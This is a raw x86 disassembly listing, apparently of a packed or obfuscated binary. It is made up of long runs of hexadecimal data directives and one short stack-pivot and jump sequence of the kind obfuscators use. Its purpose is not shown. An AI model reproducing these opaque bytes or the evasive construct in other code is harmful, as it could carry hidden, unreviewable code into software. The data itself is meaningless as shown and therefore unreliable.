		dd 71FDE32h, 0C2B906FAh, 47FEA841h, 41000000h, 0DCA84CD6h
		dd 8E36CEA1h, 6B0E87E2h, 53E8966Dh, 51FB0B16h, 1FDE4623h
		dd 0B906FA82h, 422ED62Eh, 412BA827h, 0FA82C631h, 36529106h
		dd 9AEED954h, 8BBC39B8h, 0F6A4639Fh, 0A04CDA45h, 22EEA038h
		dd 168FB1E0h, 4F6F92F5h, 0EC3850EDh, 0CA0CE8A0h, 92DE849Fh
		dd 97ACEFCAh, 0AD28C17Bh, 3BCB422Eh, 9197091h, 0E6A115Fh
		dd 48BD72F5h, 1370F513h, 0BCD469CBh, 0AFA836Ch,	0AA85F34Ah
		dd 9190961h, 92FD825Fh,	56FC0793h, 53D0ADDBh, 0F942EE34h
		dd 76EF976Eh, 0C66F7E06h, 7200ADEh, 7D27FF2Bh, 21BF059Ch
		dd 9A61C9CFh, 0D1BE3712h, 70CCA711h, 0EA946D11h, 0F35EE38Bh
		dd 7FFA8634h, 0DBC56306h, 0D4D3F77Fh, 48h, 1C7449A7h, 0E87E4D0Ch
		dd 536F146Bh, 0FBB48D7h, 5D9C0461h, 0FB06FA82h,	0BF620580h
		dd 0FA82A829h, 5C370606h, 21BFD8BFh, 9B676CDEh,	80E767F9h
		dd 0A2600F84h, 2F8C9FF6h, 825F9EF2h, 82F906FAh,	37D26E01h
		dd 0B7000000h, 8EE9536Fh, 83E602BFh, 132032Ch, 282296C2h
		dd 1B9670EBh, 0F8C7369Ah, 2D5006FAh, 6DD8BF4Ah,	0BF88EB95h
		dd 0A594EE21h, 0FAA29243h, 0CF512C06h, 0BB38199Bh, 946D344Dh
		dd 31F69EEAh, 3906F701h, 9F66A288h, 36A7C9h, 0AD9006FEh
		dd 0A97ED12Eh, 91E8FFDh, 30772F5Dh, 0AD59AE5Ah,	95B554Ch
		dd 2534D0F3h, 0DD000000h, 51EA946Dh, 0EA963EC6h, 0E566168Fh
		dd 0A2C677D9h, 0CE89ECAh, 1504B984h, 9DEF640Ah,	6B97F334h
		dd 0B017F09Ah, 9EEA946Dh, 0EE4FB10Dh, 0BB5BA6B1h, 0A7A6D63Ah
		dd 3000CE8h, 0E8AEECEDh, 74F34A00h, 0A77BE69Bh,	0C167705h
		dd 0E2611C68h, 0BBFF0661h, 0BAB7C567h, 5721313Fh, 258D5A45h
		dd 0AB7AA68Ch, 16F15EFh, 0A108E964h, 41CAB660h,	4EA21B7Dh
		dd 866CEFBEh, 0AD35C958h, 6C2D9A5Bh, 0CA493496h, 41DD0C49h
		dd 1994D19Fh, 536F99F8h, 11708EE9h, 8BEA946Dh, 0D0BF84E3h
		dd 0A1DCA850h, 7FF3ED24h, 55BCD3F7h, 0FF000000h, 6CE99190h
		dd 0CE21BF15h, 1A8366F4h, 0FAC8A51Eh, 0E3222D8Eh, 0BFA7BA3Bh
		dd 0FA82A829h, 3F2A0606h, 2313C7C6h, 7083C3ADh,	0DE6E43E8h
		dd 0BBCA0B5Dh, 196406FAh, 0D8BFFB9Ah, 0B41121BFh, 8538E8A3h
		dd 0F7A16100h, 202F8C9Ch, 314C38E0h, 48D2DDB4h,	0B7000000h
		dd 8EE9536Fh, 82A829BFh, 8AE606FAh, 0DF68D7C6h,	6DF97AD1h
		dd 0D8BF91F0h, 163E21BFh, 1D42B3D5h, 0A19C06FAh, 0E653393Fh
		dd 8CBBF276h, 0E461B6B2h, 0B0D37D85h, 0EFEE02BFh, 8A06FA82h
		dd 410DF375h, 0CEADEEF9h, 6D82DB55h, 0DD9EEA94h, 0E148383h
		dd 0FA1BFBFAh, 76E65506h, 0EB7D8AA4h, 6FAD1EAh,	0F97AF944h
		dd 0F7525097h, 0C8A26006h, 0FE5731A0h, 31AC8F06h, 9438CA43h
		dd 0F98729F5h, 9E8AE053h, 375EDD89h, 996898F2h,	6AB910F1h
		dd 0CA59B0BCh, 7730501Ch, 6A18EF1Bh, 5DB3F08Dh,	6FE579Ch
		dd 5747B6DAh, 9AE106FEh, 0C6F97AC1h, 0D0F35EC6h, 42ABh
		dd 946D4E00h, 0B10D9EEAh, 82DE1F71h, 57806FAh, 0BBF83586h
		dd 0FA82A455h, 0A93B0206h, 6FA8228h, 813EB786h,	0E8767F6Fh
		dd 0F884F70Ch, 9EEA8C91h, 5FA3F50Fh, 18323EBDh,	782B432Fh
		dd 5EA763CFh, 6DFC5BB4h, 0D9EEA94h, 0BD5FA3B1h,	936BFD3Eh
		dd 0FB0CE8A4h, 6F006780h, 708EE953h, 0EA946D11h, 332A3751h
		dd 2CC80DAh, 1789FFEAh,	70F51F58h, 0C584E319h, 0D3F77FDBh
		dd 3BD4h, 536F7D00h, 2BF8EE9h, 9E0DE4E6h, 0F16BBACCh, 74802AF0h
		dd 0E921372h, 6FA79CFh,	7C28FE69h, 55ADBC01h, 0BF572AABh
		dd 0EB956DD8h, 0BFF58C88h, 0DDAB4FD0h, 41FB23A0h, 9E000000h
		dd 0A850D0BFh, 4724A1DCh, 0BDAC117Bh, 0B4B1BF61h, 29BF583Fh
		dd 6FA82A8h, 0B15DAA37h, 0F315A6C3h, 6FA8202h, 362E15Ch
		dd 956DD8BFh, 2F8C88EBh, 0B2C79D1h, 1BBBFFF9h, 728ED59Bh
		dd 2047BC3Bh, 9EEA946Dh, 0CB072DDh, 8FFDA37Dh, 0D8EF71F2h
		dd 0D006F701h, 0B64FBB97h, 859CF30Ch, 0A23CAFDDh, 8F92FD3Eh
		dd 0B6DA81EFh, 6FE0347h, 0A61F9AE1h, 0B34DDC19h, 0F000880Dh
		dd 0CE0CEC05h, 6F37926Fh, 708EE953h, 4ED0BF11h,	6A16BE46h
		dd 0C52B900Fh, 6FA8214h, 3F4ACBB2h, 0E3253CE6h,	7FDBC584h
		dd 33D4D3F7h, 7D000000h, 0A753D0BFh, 4A279CD9h,	0BF750C78h
		dd 0FA82A829h, 0E7090606h, 6FA82F6h, 176EED50h,	0D0BFD8BFh
		dd 3DC7A652h, 0B3731E97h, 0F58C6E09h, 2AD2h, 536FB700h
		dd 3DC554E9h, 0B88E593h, 1702BF74h, 65EB680Ah, 6FA8274h
		dd 0AD2C44E3h, 0B06FA82h, 0BFD2B530h, 0EB956DD8h, 6DF58C88h
		dd 0DD9EEA94h, 0E214B572h, 0CED69C19h, 1B8D0685h, 6F715ECh
		dd 53CFBBCCh, 798E35D2h, 0AACE1826h, 6AF22247h,	0D43C8557h
		dd 6FE0825h, 0BE3DB883h, 8F37CE21h, 36E4232Eh, 0C6B62F4Ah
		dd 0A6177945h, 0EC05A642h, 2EF1600Ch, 0D14E0B88h, 0EC3F3EBFh
		dd 26A59800h, 536F6EC9h, 0CB708EE9h, 5301C45Ch,	0A32A1DE5h
		dd 0B4CB48C7h, 8BEA946Dh, 2FF35EE3h, 0C571088Dh, 0D3F77FDBh
		dd 2BD4h, 2BF7D00h, 0FA82EFEEh,	71F24906h, 362CE14h, 82A829BFh
		dd 370606FAh, 53D0BF5Ch, 8E912EA7h, 88EB956Dh, 45D2F58Ch
		dd 0B7000000h, 0FE05536Fh, 0CA492450h, 5021BFABh, 7F9AE0A8h
		dd 0C27FBC39h, 175B5FA6h, 67064F69h, 0E97FF49Eh, 6FA9AE8h
		dd 0BF6F0677h, 640E1702h, 0FA82FDFCh, 63E05B06h, 956D43D6h
		dd 8242B3D5h, 0A19C06FAh, 0F58C4322h, 9EEA946Dh, 0EE4FB10Dh
		dd 7DF6A463h, 0A3A4A8C0h, 4B320CE8h, 1B7D41AEh,	0E9864EA2h
		dd 70D00AF0h, 89183F66h, 0CBB934C8h, 0FE1BC342h, 9CE89293h
		dd 0F61A77F4h, 5EBAFB18h, 0C325567Ch, 2CB01D12h, 374FD1ACh
		dd 266FE49Ch, 9D45DC4Ch, 6A14ED7Ch, 0D1738F1Eh,	0DDDD2AA3h
		dd 6F1D9846h, 0F38125FEh, 6E7ED453h, 161278B1h,	4BD6670Fh
		dd 0E76612B8h, 6E0B791Bh, 0E38798F3h, 825BD895h, 402CD62Fh
		dd 376h, 0F9981300h, 9BE9976Dh,	3D4BF332h, 0C3B151ACh
		dd 6612BA4Ah, 67220E7h,	0A6D28087h, 4B39DB27h, 0EC9844C2h
		dd 70FCA27Dh, 76B9682Dh, 34890000h, 81E68924h, 4C6h, 4EE8300h
		dd 5C243487h, 1D2068h, 24048900h, 5E08950h, 4, 42Dh, 24048700h
		dd 2414895Ch, 6B2FBD55h, 0DDF76C6Dh, 8103EDC1h,	0D25933E5h
		dd 1FC58141h, 0C172EED7h, 0E58107EDh, 28B51F24h, 7A51F581h
		dd 0CD813CAFh
		dd 17776704h, 720CC581h, 0ED8146D3h, 8039F820h,	835DE889h
		dd 248904ECh, 24048124h, 4, 4EC815Ah, 89000000h, 428F2404h
		dd 24148B08h, 81E38953h, 4C3h, 4C38100h, 87000000h, 0FF5C241Ch
		dd 83582434h, 0E9E904C4h, 61FFF97Eh, 54B67856h,	9C0A7E40h
		dd 0DD20B538h, 0E0B897h, 0C5030619h, 8BACE0FFh,	9B264A6Eh
		dd 0C3282A56h, 0D8696827h, 0DE0A7DC6h, 1A0D440Bh, 397933FAh
		dd 484C40B6h, 4DD03891h, 0A70E5AFEh, 0EAD2AEDh,	5E945A2h
		dd 3B000000h, 12EB95h, 457E9h, 0C573B100h, 943AC524h, 620E147Bh
		dd 34D82A85h, 3AF74DBh,	0CC6B5FE6h, 36E8B37h, 53BE5B01h
		dd 7CD32CCEh, 0BB1CFDA5h, 83736286h, 31CD00E3h,	0EA946DA8h
		dd 0A383DD9Eh, 0D8A04D59h, 5AA9B83Dh, 25FC53ACh, 0CD51C07Dh
		dd 7F7E922Bh, 0D906FA21h, 329BE162h, 0B85AA7F3h, 4632B1CCh
		dd 25963CC7h, 215180E8h, 8CEF06FAh, 5FDC6517h, 210FCE22h
		dd 0D2A906FAh, 0CE3A1051h, 1F728F37h, 28876002h, 0C64735D5h
		dd 0CDEA963Eh, 0AF72AE84h, 869FF20Fh, 14C090DCh, 506FA21h
		dd 0E0E0B892h, 89D0F728h, 80h, 52D0BF28h, 269FDAA6h, 6410BA4Bh
		dd 0FA82DB1Ch, 0ED45CA06h, 0F78B1B95h, 874D0h, 58C70000h
		dd 14511FCBh, 926DF89Fh, 0FE124FECh, 6FA82FFh, 768BE259h
		dd 0BC2D5FD4h, 0E27EBF63h, 3ADCD912h, 105CD9EEh, 0B5C365B9h
		dd 0B36FDB6Ch, 102DCA70h, 0B74A0101h, 0DA717F53h, 95E5930Eh
		dd 6706E46Eh, 0E870207h, 3FE5A263h, 3724F18Fh, 0C33EE03Dh
		dd 8B96AB44h, 5485EB77h, 0F206FABEh, 0F0970C8Bh, 0B2D6966Dh
		dd 6FA8243h, 55239E9Dh,	0F9872BF4h, 8484EE59h, 5A9BED7Fh
		dd 0F406FA82h, 82ED0A89h, 3CADDB83h, 3B4E3AE6h,	54441C76h
		dd 55D0F789h, 4Bh, 0D121BFFCh, 0B39F6387h, 6BB8D74Ch, 0CA58B1BFh
		dd 5933A703h, 88720DAh,	0B75BA4B3h, 42E74E3Eh, 3FEB38E8h
		dd 0AB84FA2h, 7113EF7Eh, 51396E03h, 0F7E59F79h,	2D10D0h
		dd 6DB10000h, 0D9CE896h, 68224EF0h, 50D7533Fh, 6DE245A2h
		dd 0C04FEC92h, 521A9B3Fh, 0FA82D602h, 0FA50C706h, 0F78B26A6h
		dd 14BD0h, 6DEE0000h, 0C9DEB95h, 3F4DF5h, 5FA763CFh, 0C92754B5h
		dd 67A7E01Dh, 7317E870h, 0CC127FF4h, 8B96D368h,	0C850D577h
		dd 0CE86C28h, 12493706h, 2B59FB07h, 6BBAD54Eh, 3ACB26C3h
		dd 5B9CE490h, 0C00E99Dh, 32F32F1Bh, 1006F88h, 90F868B5h
		dd 0E99D61h, 82017CFFh,	0E48E97F6h, 0E34FF898h,	0F39B6AF5h
		dd 880E1772h, 0E855D078h, 86FFA979h, 9422A265h,	0F04FD6E4h
		dd 0EA000000h, 50ED4F6Fh, 0E8A7A438h, 0FD8BF20Ch, 0CED956Ch
		dd 0CEBA64BDh, 1701C65Fh, 0C6CCA97Dh, 0D68EFA79h, 0F809F951h
		dd 0A462ED4Eh, 18640C14h, 8465DE5Dh, 0A756BAF7h, 100E889h
		dd 8606B93Ah, 0EBD6E580h, 47h, 0E8526F8Eh, 0D31C3D53h
		dd 7E9A34BDh, 7717C66Fh, 248414B1h, 6AE0DEECh, 0E259067Fh
		dd 370FCE96h, 0E74086FAh, 36449D8Bh, 72CB46EEh,	0BD667F1Eh
		dd 57AEB9B4h, 377E7F91h, 65D806FAh, 4D306DE6h, 65E2ACh
		dd 6F670000h, 3850ED4Fh, 0CE876A8h, 0C0493706h,	11789941h
		dd 4A1A6610h, 0E89E20h,	0D40268DBh, 25FEBC45h, 0FB760281h
		dd 6C16EF7Ah, 21A03E93h, 0B881A2EFh, 65D65596h,	0F1DE0403h
		dd 0EE335E0Ah, 3DB860A0h, 0A8C07DBEh, 0AD1E329h, 49D5B487h
		dd 0CF5E2EA7h, 0C7E08C36h, 5866A48Eh, 662147F4h, 4000C8E0h
		dd 0BF851CFDh, 28AD4DD0h, 9C21835Bh, 0FCE225Fh,	0A906FA82h
		dd 825584ECh, 88F306FAh, 0F8A4620Dh, 0EC74F18Ch, 0CE3813Bh
		dd 0C07DBEBDh, 0E38329A8h, 3FB48700h, 9D45DC4Dh, 6A14ED7Ch
		dd 0EEF0761Eh, 0CF781DD1h, 585EA763h, 45A221C9h, 5731BEAh
		dd 0AAD67A84h, 4F3DDF23h, 0D5A343DEh, 8CA08ABDh, 22301A53h
		dd 1078EC37h, 1DF117E1h, 0F381FC7Fh, 17B12048h,	2C0F1DF1h
		dd 0CC5534B1h, 0C897283Fh, 4DC8232Dh, 0F89E61F0h, 0F60F627Bh
		dd 316204Ch, 0F3000000h, 976DF998h, 0F3329BE9h,	51AC3D4Bh
		dd 0BA4AC3B1h, 20E76612h, 80870672h, 0DB27A6D2h, 44C24B39h
		dd 0A27DEC98h, 682D70FCh, 5076h, 83240C89h, 0C8904ECh
		dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 2404895Ch
		dd 75316855h, 2C8B6874h, 4C48324h, 0CD81DDF7h, 117C1B68h
		dd 0ED81DDF7h, 61E76235h, 685DE989h, 4272h, 83242489h
		dd 58042404h, 4EC81h, 0C890000h, 8408F24h, 582434FFh, 0FF04C483h
		dd 83592434h, 4DE904C4h, 3EFFF97Ah, 0EB1DFEFFh,	0B144830Ch
		dd 4C2658D2h, 1905BAB8h, 0FFC50306h, 0B9F82E0h,	0A47B0467h
		dd 2EFA3F44h, 2428BE52h, 59D56624h, 0A6CA613Fh,	3001BD51h
		dd 4672220Dh, 50AFF00Fh, 6F5A5347h, 0C7683A2Dh,	0BB2A8D6Eh
		dd 669A5A6Fh, 514D4A72h, 399F483Ch, 80B9A82Ah, 492C1D5Ch
		dd 2B15653Eh, 4C3C745Dh, 0DE859h, 123F0000h, 5A61CD90h
		dd 0C0CC6B6h, 0B9378A72h, 2F9BB784h, 0CE95Eh, 18170000h
		dd 0F0CE775Ah, 2DDC1C0Fh, 0C681E3B7h, 74FAh, 0CE9h, 0D8994500h
		dd 0D9E24EC6h, 91E0A90h, 1D06B88Bh, 11E80000h, 3F000000h
		dd 83962596h, 592AC196h, 58CAAC9Eh, 0DAE867AEh,	0A95812BBh
		dd 36FF595Ah, 321BE381h, 805F694Bh, 0C78190D7h,	329D9C3Bh
		dd 8198D180h, 2F959FF7h, 8E969h, 69EA0000h, 0E21CF5E4h
		dd 0F781164Fh, 44F77EC8h, 600EBB66h, 12E83E89h,	8E000000h
		dd 154C0C86h, 9139036Eh, 47C250B9h, 18B5A0FBh, 0DA8B6668h
		dd 4EE8359h, 0E3F5D981h, 0E881529Ch, 1,	0F850Fh, 0F3800000h
		dd 1EE94Eh, 0D00B0000h,	69FF5F37h, 0E9D68BE7h, 0FFFFFF86h
		dd 0C4AF7D97h, 0E780E25Fh, 3894BDCBh, 7DC86CFDh, 82E8D8Dh
		dd 0BF600619h, 4BB5AF21h, 8D8961FCh, 6122791h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 21C35747h, 0BE8CFh
		dd 5AD50000h, 0DE84F9C2h, 0C1E44508h, 0E3816668h, 0C75F28AEh
		dd 12343985h, 5FA406h, 0E9B58900h, 0C706120Ah, 122E5D85h
		dd 6, 13E900h, 13220000h, 2C0B5EF7h, 555B6CD6h,	24C7178Ch
		dd 0C833C131h, 0DDB5FF4Ah, 53061230h, 0FF5800B4h, 120AC995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 66605386h, 0EB89CA81h, 336D9D89h, 5E610612h
		dd 95FF006Ah, 6122475h,	5FEBC08Bh, 770E3A3Ah, 0A13EC1A2h
		dd 604A628Eh, 0D3208B03h, 3BE387BBh, 0D1744846h, 0A20C5CF7h
		dd 71DF4B38h, 0B5673192h, 93A797D5h, 23BE7238h,	5DAA8455h
		dd 4EE81B58h, 0CC88268Ch, 0C89E1DC3h, 0EF76AACFh, 738FF6DCh
		dd 395D2597h, 0F22A605Bh, 0AB80F677h, 7E0C58D8h, 0CBB8403Eh
		dd 0F295E1ACh, 8D116048h, 19095D8Dh, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8127E18Eh
		dd 15D57FE2h, 918D8953h, 6A061227h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0C71DC351h
		dd 12343985h, 64BC06h, 13E900h,	0C4EE0000h, 0FBA2216Ch
		dd 2B75C4BDh, 0CF3CFCA9h, 0FF159F7Eh, 5D85C70Fh, 6122Eh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0BB43C355h, 2574EC17h,	543D3D9Ch
		dd 1A9DB5FFh, 850F0612h, 0Fh
		dd 0AE9h, 0E302B300h, 6D272884h, 0FF56EC79h, 120AC995h
		dd 0BDB58906h, 6A06122Bh, 7595FF00h, 8B061224h,	255EEBC0h
		dd 0A429F21Ch, 2EE7EDD2h, 368CBE25h, 5A531001h,	6574ACD0h
		dd 75CA2325h, 0BAC55451h, 5E53D47Dh, 0EDBD1A0Fh, 0DF6B3C38h
		dd 7AD49E51h, 5A1C0D7Fh, 90F8AE63h, 660FDA53h, 0BE682420h
		dd 8E3E84D9h, 4EDC27E1h, 7CA5B258h, 92055E29h, 0EE7E3C7Dh
		dd 4FE41B04h, 173A7D58h, 993D2055h, 448D8D20h, 0F06190Ah
		dd 684h, 0C1BD3100h, 8906122Eh,	1227918Dh, 9BD8B06h, 0C7061230h
		dd 12343985h, 6B4C06h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 1637410Ch, 31677D9Fh
		dd 68D0Fh, 958B0000h, 6123291h,	2E5D85C7h, 612h, 9D8B0000h
		dd 61219F1h, 1629B5FFh,	0B8660612h, 95FF6FA2h, 6120AC9h
		dd 2101BD89h, 6A0612h, 247595FFh, 0C08B0612h, 714D1CEBh
		dd 8821D290h, 0FC9F4F61h, 0C622435Ah, 0CB4C3A30h, 32CD1320h
		dd 1C5848DAh, 7E8D8B7h,	0F000000h, 0B9D9BD2Eh, 14E87148h
		dd 85000000h, 4B81F10Ah, 29093CF6h, 0A0E49E61h,	0E25E7C44h
		dd 81299189h, 1EB6E4C7h, 8A5B5E16h, 7CC381EFh, 6000005Ch
		dd 0E5DB58Bh, 8D890612h, 6121661h, 6861h, 81660000h, 5A3B8ADEh
		dd 14F9BD8Bh, 34FF0612h, 0E99D891Ah, 5806121Ah,	1A4D9589h
		dd 0F0810612h, 22E6A99Dh, 62D8D8Bh, 0E8810612h,	534F9D6Dh
		dd 9E9h, 57CBF100h, 0E4830A4h, 0C08192D5h, 690F4727h, 6E9h
		dd 397F0600h, 8941E3D5h, 850F1304h, 13h, 7E8h, 17C4A700h
		dd 3476E12Fh, 8B0Fh, 0E85F0000h, 9, 29224C83h, 0FE20C074h
		dd 0F78B66B8h, 4EA835Eh, 50FA81FCh, 0FFFFFA4h, 0FFFF8185h
		dd 8D50B1FFh, 190BD18Dh, 68E0F06h, 8B000000h, 1212119Dh
		dd 918D8906h, 1061227h,	12238185h, 0C7F18B06h, 12343985h
		dd 638006h, 41858900h, 0C706121Ch, 122E5D85h, 6, 0CD8D8900h
		dd 0FF06121Bh, 1230DDB5h, 0FFFA8A06h, 120AC995h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 487E8E85h, 0DA4FF69Ch, 14E9h, 0B3E300h, 0BD07737Fh
		dd 0A9BFC778h, 0BF914758h, 0EA87BCB3h, 0DD858B55h, 6A06122Ch
		dd 7595FF00h, 8B061224h, 0AF5FEBC0h, 5F096A80h,	0C59948D1h
		dd 2B5778ADh, 42A032C3h, 0DD6FD429h, 3727525Ch,	0AC79ADACh
		dd 1871456Fh, 5E1FB864h, 109AEBA3h, 2F5EF352h, 0B5DB1D2Eh
		dd 0D4BCF261h, 81360C10h, 329DCC22h, 4B55B80Ah,	0B4972C7Ah
		dd 0F2E02A5Eh, 6AA08A25h, 0C4E04C29h, 7C1BFC6Eh, 93C4B3C7h
		dd 0BDB3EE27h, 8D8DD44Ch, 6190CE2h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 28C35242h, 8981C292h, 122E4595h
		dd 0F3815206h, 6EE40AEDh, 918D895Fh, 8B061227h,	12167595h
		dd 3985C706h, 10061234h, 0F00006Dh, 0E83h, 958B6000h, 6122605h
		dd 2D19B523h, 3610612h,	121505B5h, 5D85C706h, 6122Eh, 0E9000000h
		dd 0Dh,	562B9CCBh, 5F3EB7D2h, 0B5B9AFCh, 0E9B5FF6Bh, 0E8061202h
		dd 0Ch,	0FAFD6642h, 0F22DF9DDh,	249CB630h, 5A18D880h, 0AC995FFh
		dd 9D8B0612h, 61201D1h,	95FF006Ah, 6122475h, 1AEBC08Bh
		dd 0F956B070h, 0AF0CB730h, 0C3715E3Dh, 0C3B043B0h, 0A0EEC2E1h
		dd 0D5AED6EEh, 0AE9B232h, 0E5000000h, 399A5Ah, 0
		dd 53CE900h, 0AC780000h, 738CE3FCh, 47DF32CFh, 11ED7C9Dh
		dd 0E83F926Fh, 0A4A6DD3Ah, 25C270B7h, 75923ACAh, 8A67071Ah
		dd 0DB34DE27h, 3ABBCD42h, 9400E38Fh, 147CB9F6h,	0E38FE5h
		dd 0E47BF843h, 9EEA946Dh, 0AD4AF80Fh, 2AF7C342h, 0EE7F0D88h
		dd 43CE6F17h, 11C028C4h, 0AF06FA82h, 0AA2351CCh, 8338B757h
		dd 0FA826C6Dh, 0F273CA06h, 5A00038Ah, 862872Eh,	738D0918h
		dd 0D91870CDh, 7706FA82h, 1688904h, 52BD5AFCh, 0C8412FCFh
		dd 0CBE49038h, 0A578A882h, 3957E405h, 0FE848AECh, 40C2AD64h
		dd 1095D09Ch, 19EAB071h, 0FA8AF675h, 6FAEEFEh, 0FED2B8EFh
		dd 0D0F7E70Eh, 7B63h, 946D0600h, 1F69EEAh, 1406FA82h, 9E89C7A3h
		dd 0D994E084h, 82CD0C64h, 106B06FAh, 8B6C5C93h,	13DD0F7h
		dd 0A4000000h, 0BED2926Dh, 6FA823Fh, 5927A299h,	0FD8B2FF0h
		dd 0E8F3926Ch, 0EA82986Ch, 0FF28503Ch, 0D07B239Dh, 5CA62755h
		dd 0C05DCCB8h, 0AB84F1Eh, 0B892D77Eh, 0DEB4FDA4h, 8120E122h
		dd 387731ACh, 3AD7514h,	99D66B84h, 0FAC38677h, 6C101206h
		dd 0B8D74C2Fh, 0C120C169h, 9CE8966Dh, 204CF20Dh, 0DF4B2760h
		dd 127D9A48h, 8C1D6B13h, 1771CA76h, 0FC090F77h,	402CA92Dh
		dd 0BA0E642Dh, 0D0F73E5Ah, 5657h, 966DF200h, 1B0A88F5h
		dd 0FA1304F5h, 41DBA206h, 72F1BF44h, 0D57F8706h, 81E91EA7h
		dd 3BD48281h, 0D5A34FD4h, 7A06AA74h, 90E842F7h,	0D0F78100h
		dd 4369h, 0D0BF0800h, 17BF464Eh, 0E3910C69h, 89F7976Ah
		dd 95F471ECh, 3594E08Eh, 103A46E8h, 48DF4B27h, 6D1A7D9Ah
		dd 0B1FD0092h, 0BEBBC96Fh, 0BD383543h, 8233A7CFh, 0F32406FAh
		dd 8BC1C397h, 1AED0F7h,	4B000000h, 9DEB956Dh, 3F4DF50Ch
		dd 0C0AC58AEh, 0C42CB449h, 6FA8215h, 3F4DC8B3h,	4B63CF00h
		dd 5DA6B18Eh, 35AECBB9h, 2938167Ch, 0C54430D6h,	8FEA9638h
		dd 2EF49310h, 70EF976Eh, 40A43A97h, 9B4595FBh, 0D6410CE8h
		dd 9EDBA94Dh, 77057825h, 8A670F16h, 8734DE27h, 60E58598h
		dd 0A583741Ch, 0F1700E8h, 70471765h, 6D1007Dh, 6816ED7Ch
		dd 0CC728D1Ch, 3671C5A0h, 0B9EA405Ch, 26D051D1h, 0F8EF7B95h
		dd 8BF9A160h, 1CD96EEEh, 83EE0F84h, 3DACD882h, 164E3AE4h
		dd 0C1B3911h, 45204CF4h, 0B660A1C0h, 64081A05h,	7D85D18h
		dd 0E5AF8000h, 164E9D6h, 0BF880000h, 0FEBB52D0h, 5CDCB6DAh
		dd 0FA970C8Bh, 2C3B80E4h, 0CA92AD6h, 0E883E8E4h, 7F91CE0Ch
		dd 0E8CD7Eh, 0D17789D8h, 0CA4BC6A3h, 4BC2AE8Dh,	98F710BAh
		dd 3A93E189h, 6FFA43EBh, 819CEF95h, 0B11864E1h,	52BBC96Fh
		dd 67402CD0h, 8828442Eh, 0AE77B39Fh, 9EC6719h, 5EA5179Ch
		dd 2AA9C4B0h, 3030EAFh,	0DCD00167h, 0F6E00E8h, 3FFA1390h
		dd 0D6E5D5CDh, 6AA2h, 21BF4700h, 48A2F112h, 46B7D9DFh
		dd 0E006FAA4h, 0C8A51E9Dh, 0C42C91F9h, 34BDF5B5h, 83729693h
		dd 0DD86FAA4h, 1D5AE35Eh, 0FAA40ACBh, 47D9A486h, 785D91A3h
		dd 0DCA0255Eh, 0C971B09Fh, 6B15C44Ch, 0E95A86FAh, 0F2165381h
		dd 86FA6B03h, 865DE5Dh,	0AFEC51B9h, 0FA689859h,	0CE473686h
		dd 397E1F71h, 0E558B4BDh, 841A04h, 6FFF0000h, 1350ED4Fh
		dd 2957FB04h, 8141D74Ch, 0DD0CE876h, 6ABB125Eh,	13EC7BC0h
		dd 5B071C6Fh, 3AD3502Dh, 0D8A44ED7h, 0C969B4A3h, 0D345BEBBh
		dd 0E89E89h, 0BF6BC770h, 1E23BC66h, 3B49F333h, 9FE9E800h
		dd 0F44700E8h, 4F6FFC79h, 0BB3850EDh, 150AF198h, 32F35A26h
		dd 956DFC88h, 0F20C9DEBh, 5693224Eh, 0EE27E0FCh, 0AD3A5684h
		dd 7E154518h, 8A5431B2h, 80739526h, 0DA00C880h,	0B74FDA63h
		dd 81027F0Dh, 4F6F0968h, 0BB3850EDh, 150CE385h,	32F35A26h
		dd 0E6D64E95h, 8807D768h, 35DD2433h, 50A92A47h,	8F9228F9h
		dd 0DB879CEFh, 0E855D0ADh, 1C9445ABh, 4B3200E3h, 60D2A2CAh
		dd 70F260D4h, 56AF5B37h, 0F12E53ACh, 0C4C82C97h, 0A3353696h
		dd 4366FF32h, 5534B18Ch, 8E36CECCh, 0B30887E2h,	648C5EA4h
		dd 4366FF75h, 68ED68D3h, 0CA798504h, 7596DCDCh,	28951077h
		dd 3341E739h, 0F0CFBD36h, 9A85D3BFh, 0D994E08Ch, 4AF40D5Ch
		dd 1BC342ADh, 292D46A2h, 0D4673DC5h, 66AC3DBCh,	25A09B43h
		dd 9213BB4Ah, 3DCEAh, 98850000h, 0E9976DF9h, 4BF3329Bh
		dd 0B151AC3Dh, 12BA4AC3h, 7220E766h, 0D2808706h, 39DB27A6h
		dd 9844C24Bh, 0FCA27DECh, 89522D70h, 4C281E2h, 83000000h
		dd 148704EAh, 24248B24h, 4EC81h, 3C890000h, 0E2895224h
		dd 4C281h, 0EA830000h, 24148704h, 241C895Ch, 8904EC83h
		dd 15BB241Ch, 8906190Dh, 8B545BDFh, 0C481241Ch,	4, 8904EC83h
		dd 438F243Ch, 241C8B08h, 5E08950h, 4, 8704C083h, 8B5C2404h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		db 0DDh
		dd 0EC4410FCh, 0E5BD6273h, 0CDB81885h, 3061911h, 0AFE0FFC5h
		dd 2839D7A3h, 0A81A9DCEh, 7D7AC719h, 4A24C04Ch,	0F13359DAh
		dd 0C15B7E26h, 0F3210CADh, 0F7091E2Fh, 0BE023AC5h, 0EE191600h
		dd 4438B05Dh, 323CE707h, 0CB5426B7h, 1E397644h,	1801B4A4h
		dd 8B4010CBh, 6710F00Ah, 0E8228C9Dh, 8,	0B545BBF9h, 9F1F3FABh
		dd 5FC38B66h, 0C781F18Bh, 6F49h, 0BACB8B66h, 1BACh, 1F8BC38Bh
		dd 6E9h, 21179600h, 8182C85Bh, 5E07D9EBh, 0A7E0801Ah, 5773EB81h
		dd 0F600397h, 281h, 0FDA8B00h, 0F84h, 0AE900h, 0F6F60000h
		dd 932A0331h, 548F814Dh, 0B9F38161h, 0F561E0Bh,	82h, 8E95300h
